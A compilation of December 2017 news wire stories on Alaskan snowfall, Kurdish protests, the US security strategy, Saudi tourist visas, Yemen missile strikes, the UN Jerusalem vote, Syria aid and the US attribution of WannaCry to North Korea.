Two ice cores drilled into Mount Hunter in the Denali National Park, revealed a 117-percent increase in wintertime snowfall in south-central Alaska since about 1840, researchers wrote in the journal Scientific Reports.

Summer snow also increased, by nearly 50 percent.

"We were shocked when we first saw how much snowfall has increased," said Erich Osterberg of Darmouth College, who co-authored the study.

"We had to check and double-check our results to make sure of the findings."

Next, the team set out to find out why.

Scientific models predict that global precipitation -- rain or snow -- would increase by as much as two percent per degree of global warming. Warmer air holds more moisture.

This accounted for some, but not most, of the Denali snowfall increase, the team said.

They found another contributor: the strengthening of a low-pressure system called the Aleutian Low in the Bering Sea off the Alaskan coast, driven by warmer tropical oceans.

The Aleutian Low brings a northward flow of warm, moist air to Alaska.

"It is now glaringly clear from our ice core record that modern snowfall rates in Alaska are much higher than natural rates before the Industrial Revolution," study co-author Dominic Winski of Dartmouth College said in a statement.

This is when humankind started pumping planet-warming greenhouse gases into the atmosphere.

The same changes accounted for a decrease in Hawaiian precipitation, the paper pointed out.

And it stressed the Alaskan impact would not necessarily be repeated in other places with similar conditions.

"Scientists keep discovering that on a regional basis, climate change is full of surprises," said Osterberg.

The world's nations vowed in the 2015 Paris Agreement to limit global warming to under two degrees Celsius (1.5 degrees Fahrenheit) over pre-industrial levels.

Anything more, experts warn, will give rise to life- and asset-threatening superstorms, sea-level rise, floods and drought.

The 1 C mark has already been breached.
Kurdish demonstrators gather in the city of Sulaimaniyah on December 18, 2017, calling for the regional government to resign in the wake of a failed independence push

Protesters in Iraqi Kurdistan torched a mayor's office and stormed a ruling party building on Tuesday as anger raged for a second day at the disastrous fallout from a September independence referendum.

The vote delivered a resounding "yes" but drew sweeping reprisals from Baghdad which have dealt a heavy blow to the autonomous region's economy.

In its second largest city Sulaimaniyah, security forces fired in the air to disperse demonstrators marching on the central Saray Square, an AFP correspondent reported.

Roadblocks sprang up across the city on major roads and around the offices of the main political parties.

Sulaimaniyah is a bastion of opposition to former regional president Massoud Barzani, who organised the independence vote, but all five of the region's main political parties saw their offices attacked on Monday.

Protests were also held in the Sulaimaniyah province towns of Rania and Kifri, and in Halabja and Koysinjaq in neighbouring Arbil province.

In Koysinjaq, demonstrators set fire to the mayor's office, while in Kifri hundreds stormed the offices of Barzani's Kurdistan Democratic Party after pelting the building with stones, witnesses said.

"You're incapable -- incapable of defending the disputed areas and incapable of ruling the Kurdistan region," one demonstrator shouted.

The disputed areas are a large swathe of historically Kurdish-majority territory outside the autonomous region that Kurdish leaders have long wanted to incorporate in it.

The Kurds took control of many of them during the fightback against the Islamic State group from 2014.

But after the independence referendum, federal forces retook nearly all of them, including the large city of Kirkuk and its nearby oilfields, which accounted for a major part of the autonomous government's revenues.

Barzani announced he was stepping down in late October after the independence vote backfired.

Legislative and presidential elections in the region due on November 1 were postponed because of the turmoil.

Prime minister Nechirvan Barzani, the ex-president's nephew, has pledged to hold the polls over the next three months.
US President Donald Trump's first National Security Strategy says China and Russia are 'attempting to erode American security and prosperity'

China and Russia on Tuesday decried President Donald Trump's first National Security Strategy -- which pilloried both nations as challengers to US power -- as a "Cold War mentality" with an "imperialist character".

The two global powerhouses hit back hours after the Trump administration unveiled its approach to the world with biting language framing Beijing and Moscow as global competitors.

"We urge the United States to stop intentionally distorting China's strategic intentions and to abandon outdated notions such as the Cold War mentality and zero-sum game, otherwise it will only harm itself or others," Chinese foreign ministry spokeswoman Hua Chunying said.

Moscow issued its own denunciation moments later.

"The imperialist character of this document is obvious, as is the refusal to renounce a unipolar world, an insistent refusal," Kremlin spokesman Dmitry Peskov told reporters.

The report's tough tone contrasts sharply with Trump's friendlier face-to-face encounters with Chinese President Xi Jinping and Russian leader Vladimir Putin.

"China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," the document says.

- 'Malicious slander' -

Accusing China of seeking "to displace the United States" in Asia, the 68-page strategy is a litany of US grievances, from the Chinese stealing data to spreading "features of its authoritarian system."

"Contrary to our hopes, China expanded its power at the expense of the sovereignty of others," it says.

Beijing launched a vigorous defence of its "peaceful development", saying any report "which distorts the facts, or maliciously slanders will only do so in vain".

Donald Trump received a lavish welcome during his first state visit to Beijing in November and was full of praise for President Xi Jingping, but the two countries have been locked in an increasingly acrimonious battle over trade issues

"China will never pursue its own development at the expense of other countries' interests," Hua told a regular news briefing.

"At the same time we will never give up our legitimate rights and interests."

Trump received a lavish welcome during his first state visit to Beijing in November and was full of praise for Xi.

But the two countries have been locked in an increasingly acrimonious battle over trade issues, with Washington taking unprecedented steps to investigate and add tariffs to Chinese-made goods.

There are also lingering US concerns over China's military activities in the disputed South China Sea, while Washington has angered Beijing with its arms sales to self-ruled Taiwan.

- Softer on Russia -

Speaking on Monday after the report's release, Trump took a strikingly softer tone on Russia, lauding the benefits of counterterror cooperation with Moscow.

Trump claimed that a recent CIA tip-off about a terror attack on a cathedral in Putin's home town of Saint Petersburg had prevented deaths "in the thousands".

"They were able to apprehend these terrorists before the event with no loss of life and that's a great thing, and the way it's supposed to work," Trump said, offering the prospect of better ties.

The security strategy describes the Kremlin as a power that 'seeks to restore its great power status and establish spheres of influence near its borders'

Trump's presidential campaign is being investigated for possible collusion with Russia in the run-up to his shock 2016 election win -- allegations the 45th president has dubbed "fake news".

His security strategy warns that Russian nuclear weapons are "the most significant existential threat to the United States".

It also describes the Kremlin as a power that "seeks to restore its great power status and establish spheres of influence near its borders".

"Russia aims to weaken US influence in the world and divide us from our allies and partners," it warns.

The Kremlin's Peskov responded that Russia "cannot accept" being described as a threat to US security.

But Peskov praised "modest" positive features in the report, pointing to what he said was Washington's readiness to cooperate with Russia in areas such as an exchange of security information.

- 'Two administrations' -

The national security document -- 11 months in the making -- is required by law and is designed to form a framework for how America approaches the world.

Previous national security strategies have been released without much fanfare and served as guideposts, rather than doctrinal commandments.

But in this unorthodox administration, the document had taken on extra significance.

The report's tough tone contrasts sharply with Donald Trump's friendlier face-to-face encounters with Chinese President Xi Jinping and Russian leader Vladimir Putin

Foreign officials in Washington often complain that there are effectively "two administrations" -- one that they hear from day-to-day in contacts with the State Department and Pentagon and another coming from Trump, often via Twitter in 280 characters or fewer.

Trump and his advisors often publicly differ starkly on fundamental security issues from the Middle East to talks with North Korea.

But allies looking for clarity about the intentions of the world's pre-eminent economic and military power are likely to be confused by Trump's mixed messages.

Where the strategy warns Russia is using "subversive measures" to undermine "transatlantic unity," Trump again claimed that European allies were "delinquent" in paying for security "while we guarantee their safety and are willing to fight wars for them".

Where the strategy warned of Moscow's "destabilizing cyber capabilities" and interference in domestic political affairs, Trump made no such reference.
Head of the Saudi Commission for Tourism and National Heritage, Prince Sultan bin Salman bin Abdulaziz, speaks during an interview with AFP at the commission's headquarters in Riyadh, on December 18, 2017

Saudi Arabia will begin issuing tourist visas in the first quarter of 2018, its top tourism official said, a first for the kingdom as it undergoes major economic and social reforms.

Prince Sultan bin Salman bin Abdulaziz told AFP that "all government approvals" are in place for the launch of electronic visas next year to "all nationals whose countries allow their citizens to visit" Saudi Arabia.

"We are now just preparing the regulations -- who is eligible for the visas and how to obtain them," added the head of the Saudi Commission for Tourism and National Heritage, who is a son of King Salman.

The move to open up its tourism sector is a major shift for Saudi Arabia as powerful Crown Prince Mohammed Bin Salman seeks to radically overhaul the kingdom's oil-dependent economy and shed its ultra-conservative image.

Participants watch a movie advertising Saudi's Red Sea tourism project at an investment conference in Riyadh, on October 25, 2017

Apart from the millions of Muslims who travel to Saudi Arabia annually for the Hajj pilgrimage, most visitors face an arduous process and steep fees to enter the kingdom.

Saudi Arabia currently grants tourist visas for a limited number of countries, but even those applications involve a range of restrictions, including requirements to travel through an accredited company and stay at designated hotels.

Prince Sultan said the cost of the new tourist visa had not yet been settled, but stressed that it would be "as low as possible, because we believe the cumulative economic impact is greater than the cash from the visa".

Saudi Arabia, though richly endowed with natural beauty, is notorious worldwide for its longstanding bans on the mixing of the sexes, alcohol consumption and women driving -- making it an undesirable destination for many.

In recent months, the kingdom has broken with some of its most rigid rules -- lifting a cinema ban, allowing genders to mix at a national celebration and announcing that women will be allowed to drive next June.

Prince Mohammed in August announced a massive tourism project to turn 50 islands and a string of sites on the Red Sea into luxury resorts.
At least 210 militants have been killed this year while dozens of civilians and security personnel have also lost their lives

Indian forces shot dead two suspected rebels in Indian-administered Kashmir in clashes that also killed a young woman, police said Tuesday, as the deadliest year of the decade in the disputed territory draws to a close.

At least 210 militants have been killed this year -- the most since 2010 -- amid a military campaign to rout armed groups resisting Indian rule in the divided Himalayan region.

In addition, 57 civilians and 78 security personnel have also lost their lives in violence across the conflict-wracked valley, according to police officials and watchdogs.

In the latest clash, two suspected militants were shot dead in a firefight that began Monday evening in southern Shopian district, inspector general of police Munir Ahmed Khan told AFP.

Hundreds of Kashmiris rushed to the scene chanting anti-India slogans and hurling stones at the troops in protests that continued raging Tuesday morning.

Police opened fire with pellet guns, hospitalising 12 people. A soldier and a police officer were also wounded during the clashes.

Police said a young woman was killed in crossfire.

"One young woman died in the crossfire when one of the militants came out of a house today (Tuesday) and started firing at the security forces," Khan added.

Some witnesses claimed the woman was killed by police during the demonstrations, not in crossfire, though this could not be independently verified.

Tensions were already high in Kashmir after a taxi driver was gunned down during an army operation Saturday evening. An official investigation is underway into his death.

Kashmir has been divided between nuclear-armed rivals India and Pakistan since the end of British colonial rule in 1947 but both lay claim over the entire former Himalayan kingdom.

Rebel groups have been fighting since 1989 against the roughly half a million Indian soldiers deployed in the territory, demanding independence or a merger of the entire disputed region with Pakistan.

Tens of thousands, mostly civilians, have died in the fighting.
Saudi border guards keep watch along the border with Yemen

Saudi Arabia said it intercepted a Yemeni rebel missile over Riyadh on Tuesday, as the rebels said the target was Yamamah palace, the official residence of King Salman.

An AFP correspondent heard a loud explosion at 1050 GMT, shortly before the scheduled unveiling of the Saudi budget, which is usually announced from the Yamamah palace by the king.

"Ballistic missile intercepted over Riyadh," the Saudi-led coalition battling Yemen's Huthi rebels said in a statement.

It was the second Huthi missile attack on Riyadh in the past two months.

The first attack, which targeted Riyadh international airport on November 4, triggered the tightening of a longstanding Saudi-led blockade of Yemen -- already on the verge of famine.

Saudi Arabia angrily accused its arch foe Iran of supplying the missile to the rebels, a charge Tehran strongly denied.

On Thursday, US ambassador to the United Nations Nikki Haley presented what she called "undeniable" evidence that last month's missile was "made in Iran".

But her comments went beyond the findings of a UN investigation which reached no firm conclusion on whether the missile came from an Iranian supplier, saying only that it had a "common origin" to some Iranian designs.
Israeli Defence Minister Avigdor Lieberman: "Israel is set and ready like never before"

Israel is ready to pay the price for the US decision to recognise Jerusalem as its capital but will not accept Palestinian rocket fire, Defence Minister Avigdor Lieberman said Tuesday.

President Donald Trump's December 6 decision to recognise Jerusalem and move the US embassy there has led to near-daily protests in the Palestinian territories, with at least 15 rockets or projectiles fired at the Jewish state from the Gaza Strip.

A number have fallen inside the Palestinian enclave itself or been intercepted by Israel's missile defence systems, but a few have hit Israel.

They have caused minor damage but no injuries, although the attacks have raised fears of a new round of confrontation with Gaza's rulers Hamas, with which Israel has fought three wars since 2008.

"It was clear to us that the US President's declaration (on Jerusalem) will have a price, and I repeat, we are ready to pay the whole price. This determination (on Jerusalem) is important," Lieberman said during a visit to a military base near the Gaza border.

"We will not tolerate any leakage" of rockets fired from Gaza at Israel, he added.

Since the last round of conflict in 2014, Islamists Hamas and Israel have observed a tense ceasefire.

The Israeli army believes the rocket fire from Gaza has not come from Hamas but from more radical Islamist groups, broadly called Salafists.

Lieberman said Hamas had arrested Salafists in recent days, but there has been no confirmation of this from Hamas.

"Israel is ready and set like never before," Lieberman added.

"Hamas has also understood and internalised (this), and this is why we've seen dozens of Salafi activists arrested by Hamas."
Huthi rebel fighters are seen in the Yemeni capital on December 4, 2017

Saudi Arabia said it shot down a ballistic missile Tuesday over Riyadh fired from Yemen by Iran-backed Huthi rebels, who announced that the target was the official residence of King Salman.

US ambassador to the UN Nikki Haley described the strike as bearing "all the hallmarks of previous attacks using Iranian-provided weapons" as she announced Washington would be discussing options for Security Council action against Tehran.

The audacious attack aimed at the heart of Saudi power follows the downing of another missile last month near Riyadh airport that triggered the tightening of a Saudi-led blockade on hunger-stricken Yemen.

For the past three years, Saudi Arabia has led a military campaign involving air strikes and ground troops against the Huthis, who seized the Yemeni capital from the internationally recognised government in 2014.

The kingdom accuses the Shiite rebels of being a proxy for its arch foe Iran, which vehemently denies arming the insurgents.

An AFP correspondent in Riyadh heard a loud explosion at 1050 GMT, shortly before King Salman was due to oversee the unveiling of the Saudi annual budget.

"The missile was aimed at populated residential areas in the Riyadh area, and -- thank God -- was intercepted and destroyed south of Riyadh without any casualties," the official Saudi Press Agency quoted a spokesman for the Saudi-led coalition as saying.

Missile fired at Riyadh

"The possession of Iranian-manufactured ballistic weapons by terrorist organisations, including the Iran-backed Huthi militia, is a threat to regional and international security," Turki al-Maliki added.

More than 8,750 people have been killed since Saudi Arabia and its allies joined the government's fight against the Huthis in 2015, triggering what the UN has called the world's worst humanitarian crisis.

"In exchange for a thousand days of bombardment with internationally banned weapons, there has been a thousand days of steadfastness in which our people have demonstrated that their resolve will not be broken," rebel chief Abdulmalik al-Huthi said in a speech Tuesday.

"Today our people reached the heart of Riyadh - the government palace - with a ballistic missile."

The missile attacks, which could further escalate the Saudi-led military campaign, underscore how the raging Yemen conflict is increasingly spilling across the border.

- US seeks Iran sanctions -

The US and Saudi Arabia previously accused Iran of supplying the missile involved in last month's attack to the rebels, with Haley presenting to the UN last week what she called "undeniable" evidence that the missile was "made in Iran".

Her comments went beyond the findings of a UN investigation which reached no firm conclusion on whether the missile came from an Iranian supplier, saying only that it had a "common origin" to some Iranian designs.

Haley said Tuesday's strike should be a "flashing red siren for this council" as she announced a list of possible measures that immediately drew strong reservations from Russia, which has friendly relations with Tehran.

"We could explore sanctions on Iran in response to clear its violations of the Yemen arms embargo," said Haley, who also suggested targeting Iran's Islamic Revolutionary Guard for action.

But she stopped short of directly accusing Iran of being behind the latest missile.

The US State Department later issued a statement that said Washington was "deeply disturbed by aggressive Huthi actions supported by Iran's provision of advanced weapons, which threaten regional security and prolong the Yemen conflict".

The Pentagon added it was working "to fully understand what took place and to ensure that our Saudi partners have the resources they need to defend their territory".

- Intensified coalition strikes -

The Huthi rebels last month warned that they considered "airports, ports, border crossings and areas of any importance" in Saudi Arabia, as well as its ally the United Arab Emirates, as legitimate targets.

Saudi-led air strikes have intensified since the December 4 killing of ex-president Ali Abdullah Saleh at the hands of the Huthis after his alliance with the rebels collapsed.

The UN human rights office said Tuesday it was "deeply concerned" by the surge in civilian casualties due to intensified coalition air strikes.

Pro-government forces have also stepped up attacks on the rebels and last week retook the Red Sea town of Khokha.

A medical source in Yemen said Tuesday that 23 Huthi fighters had been killed in clashes with Saudi-backed government forces over the past day in Hodeida province on the Red Sea coast.

A military source said at least 14 pro-government fighters were killed in the same period.
South African Paralympian Oscar Pistorius was originally convicted of culpable homicide -- the equivalent of manslaughter -- but his conviction was upgraded to murder on appeal

Former Paralympic athlete Oscar Pistorius has filed papers to South Africa's Constitutional Court appealing against his 13-year jail term for shooting dead his girlfriend, a lawyer for the victim's family said Tuesday.

A court last month increased Pistorius's sentence for murdering Reeva Steenkamp to 13 years in the latest stage of a long court battle since his trial in 2014.

Pistorius shot dead Steenkamp in the early hours of Valentine's Day in 2013 when he fired four times through the door of his bedroom toilet, later saying that he thought she was an intruder.

"We respect the law. It is Oscar Pistorius's constitutional right to appeal his sentence. The law must take its course," Tania Koen, a lawyer for the Steenkamp family, told AFP by email.

Pistorius was originally convicted of culpable homicide -- the equivalent of manslaughter -- but his conviction was upgraded to murder on appeal.

Pistorius also tried to take the murder conviction to the Constitutional Court, South Africa's highest tribunal, but it refused to hear the matter.

The year before he killed Steenkamp, Pistorius became the first double-amputee to race at the Olympics when he competed at the London 2012 games.

He suffered minor injuries this month in a brawl over the use of a public phone at the jail where he is held outside the capital, Pretoria.
Head of the Saudi Commission for Tourism and National Heritage, Prince Sultan bin Salman bin Abdulaziz, speaks during an interview with AFP at the commission's headquarters in Riyadh, on December 18, 2017

Saudi Arabia will begin issuing tourist visas in the first quarter of 2018, its top tourism official said, a first for the kingdom as it undergoes major economic and social reforms.

Prince Sultan bin Salman bin Abdulaziz told AFP that "all government approvals" are in place for the launch of electronic visas next year to "all nationals whose countries allow their citizens to visit" the Gulf state.

"We are now just preparing the regulations -- who is eligible for the visas and how to obtain them," added the head of the Saudi Commission for Tourism and National Heritage, who is a son of King Salman.

The move to open up its tourism sector is a major shift for Saudi Arabia as powerful Crown Prince Mohammed Bin Salman seeks to radically overhaul the country's oil-dependent economy and shed its ultra-conservative image.

Participants watch a movie advertising Saudi's Red Sea tourism project at an investment conference in Riyadh, on October 25, 2017

Apart from the millions of Muslims who travel to Saudi Arabia annually for the hajj pilgrimage, most visitors face an arduous process and steep fees.

Saudi Arabia currently grants tourist visas for a limited number of countries, but even those applications involve a range of restrictions, including requirements to travel through an accredited company and stay at designated hotels.

Prince Sultan said the cost of the new tourist visa had not yet been settled, but stressed that it would be "as low as possible, because we believe the cumulative economic impact is greater than the cash from the visa".

Saudi Arabia, despite being richly endowed with natural beauty, is notorious worldwide for its long-standing bans on the mixing of the sexes, alcohol consumption and women driving -- making it an undesirable destination for many.

- 'Not at any price' -

A traditional house in Hail, some 700 kilometres (435 miles) north of Riyadh. The city is known for its old forts and historic structures

In recent months, it has broken with some of its most rigid rules -- lifting a cinema ban, allowing genders to mix at a national celebration and announcing that women will be allowed to drive from next June.

Prince Mohammed in August announced a massive tourism project to turn 50 islands and a string of sites on the Red Sea into luxury resorts.

"The kingdom is a very big treasure. People know it only in the narrowest possible terms," Prince Sultan said, describing the vast country's mountains, beaches and hundreds of islands along the Red Sea coast.

"We're not just oil traders," he added, an outlook in line with that of the powerful crown prince who is working to revamp perceptions of the kingdom.

There will be "guidelines" for the tourism sector, however.

"We do not want to lose or give up our culture and our local values," said Prince Sultan.

The old gate of Masmak, the historic palace of King Abdul Aziz Bin Saud, the first king of Saudi Arabia

The kingdom, which takes legitimacy from the guardianship of Islam's holiest sites -- as well as billions of dollars in revenues from annual Muslim pilgrimages -- will not be lifting its total ban on alcohol.

"We are the country of the Two Holy Mosques, the country of Islam, and this enormous advantage cannot be relinquished... for the sake of driving up tourism figures," he said.

Tourists are coming to get "the Saudi experience", Prince Sultan said, adding: "There is a limit, as in any other country... and we do not want tourism to come at any price."
President Donald Trump threatened on Wednesday to cut funding to countries that vote against the United States on a motion at the United Nations condemning Washington's recognition of Jerusalem as Israel's capital.

The UN General Assembly will hold an emergency session Thursday to vote on a draft resolution that the United States vetoed at the Security Council after all other 14 countries backed the measure.

'They take hundreds of millions of dollars and even billions of dollars and then they vote against us,' Trump said at the White House.

'Well, we're watching those votes. Let them vote against us. We'll save a lot. We don't care.'

'They take hundreds of millions of dollars and even billions of dollars and then they vote against us,' Trump said at the White House.

The draft resolution mirrors the vetoed mesure, reaffirming that any decision on the status of Jerusalem has no legal effect and must be rescinded.

It does not mention Trump's decision but expresses 'deep regret at recent decisions concerning the status of Jerusalem.'

Diplomats expect strong support for the resolution, which is non-binding, despite the US pressure to either abstain or vote against it.

A council diplomat said Canada, Hungary and the Czech Republic might bow to US pressure and not support the draft resolution.

He spoke after US Ambassador Nikki Haley on Tuesday warned countries who vote to pressure the US to withdraw its recognition of Jerusalem as Israel's capital at the UN that the President will take it 'personally.'

The UN General Assembly will hold an emergency session Thursday to vote on the proposed measure that the United States vetoed at the Security Council.

'The president will be watching this vote carefully and has requested I report back on those countries who voted against us,' Haley wrote to a number of countries in a letter seen by AFP.

Nikki Haley, Trump's United Nations ambassador went on offense before a General Assembly special session on the U.S. decision to recognize Jerusalem as Israel's capital

Ahead of the hearing Nikki Haley, Trump's ambassador to the U.N. wrote to other ambassadors saying he 'will be watching this vote carefully'

'We will take note of each and every vote on this issue,' she wrote to several UN ambassadors. 'As you consider your vote, I want you to know that the President and U.S. take this vote personally,' she added.

On Twitter, Haley posted that 'the US will be taking names' during the vote on Thursday at the 193-nation assembly.

Turkey and Yemen requested the urgent meeting on behalf of the Arab group of countries and the Organization of the Islamic Cooperation (OIC).

The two countries circulated a draft resolution on Tuesday that mirrors the vetoed measure, reaffirming that any decision on the status of Jerusalem has no legal effect and must be rescinded.

Egypt had put forward the draft at the council which was backed by all 14 other Security Council members in the vote on Monday.

Like the Egyptian draft, the text before the assembly does not mention Trump's decision but expresses 'deep regret at recent decisions concerning the status of Jerusalem.'

Palestinian ambassador Riyad Mansour said he expected 'overwhelming support' for the measure stating that Jerusalem is an issue 'to be resolved through negotiations' between Israel and the Palestinians.

'The General Assembly will say, without the fear of the veto, that the international community is refusing to accept the unilateral position of the United States,' Mansour told reporters.

Haley also posted that 'the US will be taking names' during the vote on Thursday at the 193-nation assembly

Key allies including Britain and France are against the U.S. move on Israel, which Trump made on December 6 (Pictured: French President Macron (L) and British PM Theresa May

No country has veto powers in the General Assembly, contrary to the council where the United States, along with Britain, China, France and Russia, can block any resolution.

Trump's December 6 decision to recognize Jerusalem broke with international consensus, triggering protests across the Muslim world and drawing strong condemnation.

Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that voted in favor of the measure.

After that vote, Haley described the 14-1 vote 'an insult' and warned 'it won't be forgotten.'

The Muslim world has seen widespread protests and in Gaza City, they were continuing Wednesday ahead of the United Nations special session

Haley's letter explains that 'the U.S. Congress declared that Jerusalem should be recognized as the capital of Israel, and that the U.S. Embassy should be located in Jerusalem. President Trump affirmed that declaration by officially recognizing Jerusalem as the capital of Israel.'

'The President's announcement did not prejudge final status negotiations in any way, including the specific boundaries of Israeli sovereignty in Jerusalem. The President also made sure to support the status quo at Jerusalem's holy sites, and did not advocate changes to the arrangements at the Temple Mount/Haram al-Sharif,' she added.

She went further on Tuesday, warning in her Twitter post: 'At the UN we're always asked to do more & give more. So, when we make a decision, at the will of the American ppl, abt where to locate OUR embassy, we don't expect those we've helped to target us.

'On Thurs there'll be a vote criticizing our choice. The US will be taking names.'

After the clash at the top UN body, the White House announced that US Vice President Mike Pence was delaying a trip to the Middle East planned for this week.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

Several UN resolutions call on Israel to withdraw from territory seized during the 1967 war.
The United Nations maintains that cross-border aid deliveries are a lifeline to Syrians living in rebel-held territory because the government in Damascus has heavily restricted aid shipments to those areas

The UN Security Council on Tuesday voted to renew cross-border aid deliveries to Syria's rebel-held areas for one year, but Russia abstained and warned the relief operation must gradually wind down.

Russia had demanded changes to the aid operation that has allowed since 2014 convoys to cross into war-shattered Syria from Turkey and Jordan without the approval of the government in Damascus.

Russian Deputy Ambassador Vladimir Safronkov argued that the situation in Syria had "changed radically" over the past three years and that cross-border aid was "a legacy of the past."

"We think it is important to gradually draw down this rudimentary scheme which has worked for Syria's division," Safronkov told the council.

The resolution put forward by Egypt, Japan and Sweden was adopted by a vote of 12 in favor, with Russia, China and Bolivia abstaining.

The United Nations maintains that the cross-border deliveries are a lifeline to Syrians living in rebel-held territory because the government in Damascus has heavily restricted aid shipments to those areas.

More than 13 million people need humanitarian aid in Syria, now in its seventh year of war.

Cross-border aid reaches one million Syrians per month, on average, according to UN aid officials.

Despite its complaints, Russia did not resort to its veto power to block the measure as it did last month to bury a UN-led probe of chemical weapons attacks in Syria.

Russia has used its veto 11 times at the council to thwart action directed at its Syrian ally.

- Russia wants aid scheme to end -

Moscow had argued that the aid operation undermines Syria's sovereignty because aid agencies must notify Damascus, but not seek its permission, for the deliveries inside Syria.

Safronkov said aid agencies must return to the "traditional" approach of working with the Syrian government on providing humanitarian assistance to the entire country.

The United Nations must "make plans for a gradual withdrawal from this cross-border scheme," he said.

Syrian forces have made major military gains since Russia's intervention in the war in 2015, retaking large swathes of rebel-held territory.

After Russia complained that cross-border aid was falling into the hands of "terrorists," the council agreed to ask UN Secretary-General Antonio Guterres to review the operation in six months and recommend ways to strengthen monitoring.

Welcoming the adoption, US Deputy Ambassador Michele Sison stressed the aid was of "utmost importance to reduce the suffering in Syria."

France also said humanitarian aid was critical for Syrians and singled out the crisis in Eastern Ghouta, a rebel-held area near Damascus that has been under government siege.

With 400,000 people trapped with no access to food and medicine, Eastern Ghouta is "a new Aleppo in the making," said French Ambassador Francois Delattre, referring to Syria's second city, which fell to government forces after months of siege.

"The Syrian regime continues bombing its population, using hunger as a war tool," said Delattre. "This constitutes a war crime."

"Tiny amounts of aid have been allowed" in Eastern Ghouta, said UN aid chief Mark Lowcock.

More than 500 people are awaiting medical evacuation from the rebel-held area including 137 children, five of whom are suffering from acute malnutrition.

At least 16 Syrians have died waiting for permission to receive treatment just a few miles outside of Eastern Ghouta, among them three in the last few days, said Lowcock.

Close to three million Syrians live in besieged or hard-to-reach areas, with little access to humanitarian aid.

Reporting on the latest failed round of peace talks, UN envoy Staffan de Mistura said it was time for the United Nations to provide some ideas on the next steps to move towards a draft constitution and elections.

More than 340,000 people have died in Syria's nearly seven-year war and over half of the population has been driven from their homes.
Palestinian president Mahmud Abbas wants China and Russia to become more actively involved in the Middle East peace process

Palestinian president Mahmud Abbas has sent delegations to China and Russia to ask them to take a greater role in the peace process with Israel, an official said on Tuesday.

Abbas has said the United States can no longer be a mediator in talks, following US President Donald Trump's controversial December 6 recognition of Jerusalem as Israel's capital.

Saleh Raafat, a member of the Palestinian delegation visiting Russia, said Abbas had tasked the delegates with pushing Chinese and Russian leaders to back peace talks.

"We are now in Russia, and some of us will go to Beijing to deliver the same message on the importance of seeking international sponsorship for the peace process under the banner of the United Nations," Raafat told AFP by phone from Moscow.

On Monday, Abbas reiterated his opposition to any US role as broker between the two sides, saying "whoever allows the United States to return as a partner or mediator in the peace process is crazy".

Peace talks between Israel and the Palestinians have been frozen since they collapsed in 2014.

Trump had said he was keen to restart them to push for the "ultimate deal", but his Jerusalem recognition infuriated the Palestinian leadership.
A man stands outside the offices of a political party set ablaze by protesters in Piramagroon, west of Sulaimaniyah, in the Iraqi Kurdish autonomous region on December 19, 2017

Five people were killed and dozens wounded in Iraqi Kurdistan on Tuesday as security forces opened fire during clashes with protesters amid growing anger over a failed push for independence.

Demonstrators in the autonomous Kurdish area in the north of the country torched the offices of a mayor and political parties as protests broke out for a second day over the disastrous fallout from a September referendum.

The vote delivered a resounding "yes" for independence, but drew sweeping reprisals from Baghdad which dealt a heavy blow to Kurdistan's already flagging economy.

Demonstrators set fire to the offices of two political parties in Raparin in Sulaimaniyah province, said a spokesman for the local health department, Taha Mohammad.

"Clashes erupted with the security forces who opened fire, leaving five dead and at least 70 wounded," he said.

Kurdish demonstrators gather in the city of Sulaimaniyah on December 18, 2017, calling for the regional government to resign in the wake of a failed independence push

Earlier, medical sources said some 100 people were injured as protests hit second city Sulaimaniyah and a string of other towns.

In Sulaimaniyah, security forces fired in the air to disperse demonstrators and mounted roadblocks on major roads and around the offices of the main political parties.

The city is a bastion of opposition to former regional president Massud Barzani who organised the independence vote, but all five of the region's main political parties saw their offices attacked on Monday.

- 'You're incapable' -

Late Tuesday, security forces arrested the founder of a protest movement at the city airport over accusations he incited demonstrations, a television channel and a leader of his movement said.

Shaswar Abdul Wahid and his wife were detained at the airport as they returned from London, according to a leader of his protest movement New Generation, which he founded on October 1.

Security forces also ended broadcasts as they stormed the offices of NRT, a Kurdish television channel that Abdul Wahid founded in 2011 and sold two months ago, its director said.

Protests were also held in the Sulaimaniyah province towns of Rania and Kifri, and in Halabja and Koysinjaq in neighbouring Arbil province.

In Koysinjaq, demonstrators set fire to the mayor's office, while in Kifri hundreds stormed the offices of Barzani's Kurdistan Democratic Party after pelting the building with stones, witnesses said.

"You're incapable -- incapable of defending the disputed areas and incapable of ruling the Kurdistan region," one demonstrator shouted.

The disputed areas are a large swathe of historically Kurdish-majority territory outside the autonomous region that Kurdish leaders have long wanted to incorporate in it.

The Kurds took control of many of these areas during the fightback against the Islamic State group from 2014.

But after the independence referendum, federal forces retook nearly all of them, including the large city of Kirkuk and its nearby oilfields, which accounted for a major part of the autonomous government's revenues.

After his gamble on the referendum backfired spectacularly, Barzani announced he was stepping down in late October.

Legislative and presidential elections in the region due on November 1 were postponed because of the turmoil.

Prime minister Nechirvan Barzani, the ex-president's nephew, has pledged to hold the polls over the next three months.

- Salaries slashed -

Issam al-Fayli, professor of political science at Baghdad's Mustansiriya University, said the explosion of anger was directed against the political status quo that has dominated Iraqi Kurdistan for years.

"This is the first time that there are demonstrations against all Kurdish figures across the board, and I believe that we are headed for a radical change as there is currently no politician capable of leading," he said.

Residents in the regional capital Arbil said salaries have been slashed since September and the price of kerosene for heating has reached new highs.

There are only four hours of electricity a day, and many people are unable to cover the costs of operating generators, they said.

The federal government appears to be giving short shrift to the worsening economic crunch facing the Kurds, with Baghdad looking to cut the share of the national budget allocated to the region from 17 percent to 12.6 percent.

"What is happening in Kurdistan is due to the poor policies of the autonomous government and the political parties," said government spokesman Saad al-Hadithi.

He insisted the root cause of the economic problems was the Kurdish authorities exporting oil without Baghdad's consent and "with no transparency or oversight".

But analyst Fayli warned that the federal government needs to step in to help fix the crisis or risk watching the discontent spiral out of control.

"If the autonomous government collapses, then that will create a political void that will hit stability in the country," he said.
White House homeland security advisor Tom Bossert said that "after careful investigation" Washington is publicly attributing the massive "WannaCry" cyberattack to North Korea

The White House on Tuesday publicly accused North Korea of launching a massive cyberattack that hit 150 countries last May -- hobbling networks from Britain's public health system to FedEx.

"After careful investigation, the United States is publicly attributing the massive 'WannaCry' cyberattack to North Korea," said White House homeland security advisor Tom Bossert.

"We do not make this allegation lightly, we do so with evidence and we do so with partners," he added.

Exploiting a security flaw in Microsoft's Windows XP operating system, the malware infected an estimated 300,000 computers demanding ransom to decrypt data.

